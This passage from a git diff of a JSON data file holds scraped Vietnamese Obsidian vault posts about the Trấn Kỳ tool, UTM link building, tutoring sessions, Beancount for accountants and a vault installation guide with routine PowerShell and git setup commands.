mọi người. Nó:\n- Có trên iOS, Android và web\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\n- Hoàn toàn miễn phí\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\n- Sử dụng giọng nói\n- Nhập số lượng lớn\n\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\n\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\n\n### Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\n\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\n\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\n\n### Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến\n#### Liên kết có tham số UTM là gì?\nĐể có thể đo lường hiệu quả các chiến dịch truyền thông trực tuyến trên Google Analytics, các tham số UTM sẽ được thêm vào đằng sau liên kết. Ví dụ, nếu bạn gửi liên kết `https://quảcầu.cc` lên nhóm *Vùng đất Quả Cầu* và ở cả ở ngoài nhóm, thì Google Analytics sẽ không biết được có bao nhiêu người trong nhóm bấm vào và bao nhiêu người ngoài nhóm bấm vào. Nhưng nếu bạn thêm tham số UTM vào sau liên kết, ví dụ `https://quảcầu.cc/?source=Vùng đất Quả Cầu`, và chỉ gửi liên kết này vào nhóm, thì bạn sẽ biết được đã có bao nhiêu người từ nhóm bấm vào.\n\nCó nhiều loại tham số UTM, như `source`, `medium`, `campaign`, v.v. Mỗi tham số có những giá trị riêng phải điền, nhưng nhiều lúc chỉ cần biết một cái thì sẽ suy ra được cái còn lại. Ví dụ, đăng một bài trong chiến dịch A thì `campaign` chắc chắn là A, nơi đăng là một nhóm Facebook thì `source` chắc chắn chứa tên nhóm đó, và `medium` chắc chắn là `social`, v.v.\n\n#### Vấn đề\nCó những công cụ để giúp xây những liên kết UTM như vậy (gọi là UTM builder), nhưng chúng không tự động điền những giá trị có thể tự suy đoán được. Nếu dự án của bạn có nhiều bài viết khác nhau dành cho nhiều loại đối tượng khác nhau, việc phải làm thủ công từng liên kết như vậy sẽ tốn nhiều thời gian, nhàm chán và có thể làm đau tay. Chưa kể nếu có nhiều người cùng đăng bài thì cũng có thể tạo ra sự không nhất quán. \n\n#### Giải pháp\nNếu tất cả những gì bạn cần chỉ là tên bài viết và nơi đăng là đủ để tạo được liên kết đầy đủ thì Trấn Kỳ sẽ tự động hoá được vấn đề này. Nó là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và mình đã viết thêm chức năng để nó làm được công việc này. Ví dụ:\n- `obsidian vùng đất quả cầu` → Tạo `https://obsidian.quảcầu.cc/?source=Vùng đất Quả Cầu&medium=social&campaign=Công cụ nghĩ`\n- `obs vdqc` → Tạo liên kết tương tự như trên, nhưng chỉ dùng mã sản phẩm và tên viết tắt\n\nCác chức năng mở rộng khác:\n- Tự động cập nhật các bài viết mới trên web của bạn\n- Tự động lấy trang web bạn đang mở để làm `source` \n- Tự động xử lý punycode (cho phần tên miền) và percent-encode (cho phần URI) \n- Tự động tạo liên kết rút gọn và tạo chuyển hướng trên máy chủ\n- Tự động chép liên kết vào clipboard\n\nĐiều này sẽ giúp bạn lấy được liên kết có tham số UTM cần thiết ngay tại nơi bạn đang tương tác một cách tức thời (\"tại đây, bây giờ\").\n\n![](https://i.imgur.com/SIG0zj7.png)\n\n### Lưu kết quả tiếp thị trên mạng xã hội\nChỉ dùng khi không cào được web\n### Tạo thông tin chứng từ cho kế toán\n### Hệ thống chấm điểm cảm xúc\nDành cho người hay quên rằng mình có nhiều \n\n## Các tính năng hỗ trợ khác (a.k.a. yêu cầu phi chức năng) \n- **Viết cho người Việt** nên:\n\t- Xử lý được từ ghép và [[Tiếng Việt có 2 cách đặt dấu thanh|các cách đặt dấu thanh khác nhau]]\n\t- Tên biến, tên hàm hoàn toàn bằng tiếng Việt\n- **Viết cho người cần sử dụng trên các webapp khác** như Fibery, Google Sheet nên:\n\t- Chỉ sử dụng JavaScript thuần \n\t- Đảm bảo regex không chạy lâu\n\t- Có sẵn build script để chuyển từ TypeScript sang JavaScript\n- **Viết cho người không muốn bị ràng buộc vào một nền tảng nào** nên sẽ là một chương trình mã nguồn mở và tự do\n- **Viết cho người phải tự học lập trình** nên:\n\t- Có rất nhiều ghi chú, hướng dẫn để cung cấp các khái niệm thiết yếu, giúp bạn xây dựng mental model cho code, để bạn hiểu được cái cách một lập trình viên kiến trúc nên một chương trình thế nào\n\t- Tên commit cố gắng tuân thủ [conventional commit](https://www.conventionalcommits.org/en/v1.0.0/)\n\t- Có script kiểm thử\n\n> [!Important] Vault Obsidian *Tiếp thị số, xử lý dữ liệu và lập trình*\n> Trong quá trình viết Trấn Kỳ, Đây là vault bổ sung cho [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.xn--qucu-hr5aza.cc/?utm_source=CW+%C2%BB+X%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh&utm_campaign=C+H%E1%BB%97+tr%E1%BB%A3+ng%C6%B0%E1%BB%9Di+t%E1%BB%B1+h%E1%BB%8Dc+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+ho%E1%BA%B7c+ki%E1%BA%BFn+th%E1%BB%A9c&utm_term=%C4%90%E1%BB%8Dc+b%C3%A0i+vi%E1%BA%BFt+tr%C3%AAn+web \"Obsidian, quản lý dự án và công cụ nghĩ\"), tập trung vào việc xử lý dữ liệu và lập trình. Nó được sinh ra trong quá trình bọn mình viết [Trấn Kỳ]([https://xn--lptrnh-zva6402d.xn--qucu-hr5aza.cc/👏Trấn](https://xn--lptrnh-zva6402d.xn--qucu-hr5aza.cc/%F0%9F%91%8FTr%E1%BA%A5n) Kỳ/ \"Trấn Kỳ\"), và cũng được sử dụng như tài liệu hướng dẫn cho nó. Nếu bạn muốn tìm một nguồn tài liệu để học một cách bài bản thì không nên vào đây. Nhưng nếu mục tiêu của bạn là làm xong những công việc khác, mà để làm được chúng trôi chảy bạn phải học lập trình, và bạn muốn tìm những bài viết thật ngắn nhưng đủ để hiểu khái niệm để còn làm việc được tiếp (như khi bọn mình cần phải học để còn viết xong Trấn Kỳ), thì có thể một số thứ trong đây sẽ hữu ích cho bạn.\n\n## Lấy mã nguồn và tham gia các buổi hướng dẫn\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu sẽ cung cấp cho bạn cơ hội để hợp tác thực hiện thông qua việc đăng ký nhu cầu và tự định giá nhu cầu trong phiếu đăng ký dưới đây. \n\nVề vấn đề đăng ký nhu cầu, Quả Cầu khuyến khích bạn nêu rõ lý do bạn muốn tham gia và đồng thời **thiết kế lộ trình làm việc và kết quả đầu ra** phù hợp với nhu cầu phát triển dự án cá nhân của bạn (nếu có) dựa trên gợi ý như sau:\n- Thời gian: 1 buổi (3-4 tiếng online/offline) để bạn cài đặt và hiểu công cụ + 2 tuần sau buổi đào tạo đầu tiên (hỗ trợ qua chat mỗi ngày và 2 buổi gặp mặt online/offline) để Quả Cầu trao đổi, tư vấn với bạn trong việc ứng dụng công cụ cho dự án cá nhân. \n- Nội dung:\n - Cài đặt và sử dụng các công cụ, ngôn ngữ lập trình (VS Code, Git, PowerShell, TypeScript) \n - Lấy mã nguồn và chạy trên terminal\n - Hiểu về vật thể và API. Hiểu điều IDE đang cố gắng nói cho mình\n - Hiểu các vật thể và API của Trấn Kỳ\n - Viết API để tích hợp vào hệ thống của bạn\n\nVề vấn đề tự định giá, Quả Cầu cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn** vì đây là dự án phục vụ nhu cầu và dựa trên thiết kế lộ trình làm việc của bạn. Với nhu cầu và thiết kế đó, Quả Cầu khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận).\n\nSau khi xem xét các đăng ký, Quả Cầu sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n- [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n- [[Lý do viết Trấn Kỳ]]\n\nThông tin liên hệ:\n\n- **Facebook:** [https://www.facebook.com/qua.cau.the.sphere](https://www.facebook.com/qua.cau.the.sphere)\n- **Email:** quacau.thesphere@gmail.com\n\nRất mong được đồng hành cùng bạn.\n\n[[Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T14:26:00.000Z", - "id": "OC" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-08T08:04:00.000Z", + "id": "OQ" }, { - "Tiêu đề": "Hiểu về dữ liệu cho người làm kế toán", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo mục tiêu/Hiểu về dữ liệu cho người làm kế toán", + "Tiêu đề": "Quản lý dự án", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các khái niệm/Quản lý dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Pasted image 20240221020431.png]]\n\n## Các vấn đề về Excel \n```dataview\nlist\nfrom \"⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel\" \n```\n\n## Chương trình Beancount\nDemo:\n- Đầu vào: [\"Managing Your Finances Using Python\" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ)\n- Đầu ra: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\n\n| Đặc điểm | Lợi ích |\n| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Viết bằng Python | Cơ hội để thực hành Python |\n| Là chương trình bút toán kép | Ứng dụng được ngay vào công việc của chị |\n| Dùng được trên CLI |
  • [Cơ hội làm quen với terminal](https://lậptrình.quảcầu.cc/✍️Lập%20trình/Hệ%20điều%20hành,%20path%20và%20terminal/Terminal,%20shell,%20console/Terminal%20là%20cái%20chương%20trình%20để%20làm%20việc%20với%20shell?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=), công cụ giúp chị bước vào cái lõi của hệ điều hành
  • Thấy được bản chất của việc đấu nối các phần mềm lại với nhau thế nào. Có thể minh hoạ việc này bằng việc kết hợp nó với Trấn Kỳ
  • |\n| Dữ liệu chương trình lưu dưới dạng tập tin | Hiểu được giá trị của việc lưu dữ liệu tại máy người dùng. Hiểu được việc dùng [Git](https://lậptrình.quảcầu.cc/📊Tổ%20chức%20dữ%20liệu.%20Phân%20tích%20dữ%20liệu/Tổ%20chức%20dữ%20liệu/Git/Git%20giúp%20ta%20du%20hành%20thời%20gian?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=) |\n| Tạo lệnh truy vấn phức tạp được | Tương tự SQL nên cũng giúp làm quen với SQL được |\n| Điều khiển hoàn toàn bằng bàn phím | Giảm đau cổ tay do phải cầm chuột nhiều, nhưng sẽ phải chịu khó đọc hướng dẫn sử dụng |\n| Là phần mềm tự do | Thấy được [[Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó\\|các phần mềm mã nguồn đóng đã xiềng xích mình đến mức độ nào]] |\n| Miễn phí | Cắt giảm chi phí mua phần mềm |\n| Có sẵn trang báo cáo | Đỡ phải tạo trang báo cáo riêng |\n\nCân nhắc:\n- Em chưa dùng nó bao giờ, thuật ngữ kế toán em cũng không rành\n- Các giải pháp dữ liệu khác như PowerBI có thể cũng đáp ứng được các nhu cầu này. Nó sẽ tuỳ vào việc chị muốn một phần mềm chuyên môn hoá hay có khả năng linh hoạt\n\nXem thêm:: [So sách chức năng của Misa với Beancount](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n\n## Trấn Kỳ\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n\n\n---\n## Tổng quan\nĐầu tiên, em muốn giải thích một chút về ngành công nghệ thông tin. Ngành này chia ra 4 chuyên môn chính:\n- **Khoa học máy tính:** hiểu biết chung về máy tính\n- **Kỹ thuật phần mềm:** ứng dụng những hiểu biết về máy tính trong việc bảo nó làm điều mình cần nó làm (lập trình, tự động hoá, viết code) \n- **Hệ thống thông tin:** ứng dụng của việc viết code đó vào việc quản lý thông tin nội bộ. Các ERP, CRM là những ví dụ\n- **Phân tích dữ liệu:** ứng dụng của việc viết code đó vào việc tạo báo cáo và thêm insight. Đây là cái chị cần\n\n## Phân tích dữ liệu\nMột nghiệp vụ liên quan đến dữ liệu thường có 4 bước sau đây:\n- Thu thập dữ liệu\n- Lưu trữ dữ liệu\n- Xử lý dữ liệu\n- Báo cáo dữ liệu\n\nThì cũng tương tự như trên, em dự đoán mình có thể trả lời khoảng 70% những thắc mắc của chị liên quan tới 3 cái đầu, còn cái cuối thì không nhiều lắm. Mà có lẽ bước đó là cái chị quan tâm nhất.\n\nTrong mục xử lý dữ liệu có một số chủ đề nữa:\n- Xử lý ngôn ngữ tự nhiên\n- Máy học và trí tuệ nhân tạo\n\nNhững cái này là cái mà em nghĩ chị nói tới khi nói \"cập nhật xu thế công nghệ\", vì khá nhiều xu thế công nghệ thực ra chỉ là 2 cái này. Em tự tin có thể nói về cái đầu và chắc đủ để nói về cái sau.", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T14:15:00.000Z", - "id": "OD" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T10:52:00.000Z", + "id": "OR" }, { - "Tiêu đề": "3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", + "Tiêu đề": "Tự học", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các khái niệm/Tự học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { @@ -24994,641 +25179,643 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OE" + "Ngày cập nhật": "2023-10-28T10:52:00.000Z", + "id": "OS" }, { - "Tiêu đề": "50% người xây vault kết nối nhu cầu của mình tới vault chung", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng khám phá các vault khác/50% người xây vault kết nối nhu cầu của mình tới vault chung", + "Tiêu đề": "Các vấn đề về tiền", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Các vấn đề về tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "# Nhu cầu sử dụng\n- Tổ chức các buổi gặp mặt\n- Nghiên cứu\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OF" + "Ngày cập nhật": "2024-09-02T06:44:00.000Z", + "id": "OT" }, { - "Tiêu đề": "20% người tham gia liên thông dữ liệu với các vault khác", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/20% người tham gia liên thông dữ liệu với các vault khác", + "Tiêu đề": "Dự án này cần những gì để phát triển", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Dự án này cần những gì để phát triển", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/chưa-hoàn-thành \r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[40% người tham gia biết dùng Git]]\r\n\r\nThành phẩm:: [[Các bài học trên vault]]\r\n", + "Toàn bộ nội dung": "Nguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OG" + "id": "OU" }, { - "Tiêu đề": "40% người tham gia biết dùng Git", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/40% người tham gia biết dùng Git", + "Tiêu đề": "Hướng dẫn tải kho", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Hướng dẫn tải kho", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "> [!info ] [[Tại sao lại cần tải kho về hơn là đọc trên web|Tại sao lại cần tải kho về hơn là đọc trên web?]]\n\n## Cài đặt tự động\nBộ cài này dành cho Windows 10 trở lên:\n\n[Tải bộ cài :octicons-download-16:](https://Obsidian.Quảcầu.cc/assets/Obsidian, quản lý dự án và công cụ nghĩ.exe){ .md-button .md-button--primary }\n\nHình ảnh bộ cài:\n![](https://i.imgur.com/e3iB6N3l.png)\n\nHình ảnh sau khi cài xong:\n![](https://i.imgur.com/c6PDsL1.png)\n\nĐể đảm bảo an toàn cho máy bạn, Obsidian sẽ hỏi là bạn có muốn tin kho dữ liệu này không không. Hãy bấm *Trust author and enable plugins*. Obsidian sẽ bật Settings lên để bạn duyệt các plugin. Bạn có thể bấm vào *Check for updates* để cập nhật chúng, hoặc tắt đi cũng được:\n![](https://i.imgur.com/MhgGMBc.png) \n\nVậy là xong. \n\nXem thêm:: [[Các trục trặc có thể gặp khi cài]] \n\n## Cài đặt thủ công\n### B1. Mở PowerShell với quyền admin\nBấm Win+X và chọn `Windows PowerShell (Terminal)`\n![](https://st.quantrimang.com/photos/image/2018/07/09/cach-mo-powershell-nang-cao-trong-windows-10-5.jpg) \n\n### B2. Nhập lần lượt các lệnh sau\n```PowerShell\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\nSet-Location \"D:\\\" \ngit config --global core.quotePath false\ngit config --global core.longpaths true\ngit config --global core.autocrlf true\ngit config --global core.safecrlf false\ngit clone https://github.com/QuaCau-TheSphere/quan-ly-du-an-va-cong-cu-nghi\nRename-Item \"quan-ly-du-an-va-cong-cu-nghi/\" \"Obsidian, quản lý dự án và công cụ nghĩ\"\ngit config --global --add safe.directory *\n```\n\nNếu bạn chưa hiểu Git là gì nhưng cũng muốn thử sức thì có thể bắt đầu tìm hiểu ở bài [[4 Du hành thời gian với Git]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OH" + "Ngày cập nhật": "2024-08-24T14:01:00.000Z", + "id": "OV" }, { - "Tiêu đề": "50% người đóng góp đáp ứng được các nhu cầu khác của họ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/50% người đóng góp đáp ứng được các nhu cầu khác của họ", + "Tiêu đề": "Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thành quả hỗ trợ:: [[50% người xây vault kết nối nhu cầu của mình tới vault chung]]\r\nThành quả hỗ trợ:: [[10% người xây vault ủng hộ tiền]]\r\n", + "Toàn bộ nội dung": "Fb có thể thân thiện hơn cho người chưa biết hoặc chỉ cần trao đổi về plugin là được. Còn Discord chắc có nhiều lập trình viên và dân nghiên cứu học thuật hơn\r\nđồng ý. các bài đăng trên Facebook quá bị chi phối bởi các thuật toán sắp xếp tin, các tính năng mới mà facebook bổ sung (hoặc bắt chước) như các nền tảng khác không hiệu quả, và do vậy mất quá nhiều thời gian để đọc lướt qua dòng tin trên mỗi nhóm để tìm thứ mình cần.\r\n\r\nphân luồng như Discord thuận tiện hơn, nếu post có giá trị, mod/admin có thể ghim lại phía trên để người chưa biết tiện theo dõi.\r\n\r\ntốt hơn nữa thì có sắp xếp chỉ mục liên kết tới các cuộc thảo luận có giá trị, như Obisidianroundup đã làm.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-07-18T01:25:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OI" + "id": "OW" }, { - "Tiêu đề": "100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc", + "Tiêu đề": "Mọi người hay thảo luận ở đâu?", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Mọi người hay thảo luận ở đâu?", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-quả\n%%\nTrạng thái:: #tt/đang-làm, [[Nhật]]\nĐộ cấp thiết:: #đct/cao\n\nPhục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả cần có:: [[500 người mở vault ít nhất 10 lần]]\n\nThành quả hỗ trợ:: [[50% người chia sẻ vault cho bạn bè]]\nThành quả hỗ trợ:: [[50% người dễ dàng tự sử dụng]]\nThành quả hỗ trợ:: [[50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó]]\n\nThành phẩm:: [[Các bài học trên vault]], [[Các buổi cố vấn riêng]], [[Truyền thông|Các bài viết truyền thông về Trấn Kỳ]]\n\nĐiểm yếu:: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\n", + "Toàn bộ nội dung": "Hiện tại có 2 nơi thảo luận chính:\n- Kênh `#tiếng-việt` trong [Discord Obsidian](https://discord.gg/obsidianmd)\n- Kênh `#quản-lý-dự-án-và-công-cụ-nghĩ` trong [Discord Quả Cầu](https://discord.gg/ynvxH2K7Ct) \n\nLâu lâu sẽ có những buổi gặp mặt, với chủ đề có thể là:\n- [[Các buổi họp xây dựng kế hoạch phát triển|Xây dựng kế hoạch phát triển]]\n- [[Các buổi cố vấn riêng|Cố vấn riêng cho một ai đó]]\n- [[Các buổi giới thiệu vault|Giới thiệu vault mới]]\n- Hoặc chỉ đơn giản là trò chuyện, tán gẫu bạn bè\n\nThời gian diễn ra và hình thức gặp mặt sẽ tuỳ thuộc vào sự thống nhất của những người tham gia. \n\nNếu bạn có một phản hồi về một ý tưởng của vault, hoặc có nhu cầu được trao đổi 1-1, hoặc bất cứ vấn đề gì, hãy cho mọi người biết bằng việc nhắn trên các kênh liên lạc đó nhé.\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-07T18:18:00.000Z", - "id": "OJ" + "Ngày cập nhật": "2024-08-10T17:46:00.000Z", + "id": "OX" }, { - "Tiêu đề": "1000 người mở vault 3 lần", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ 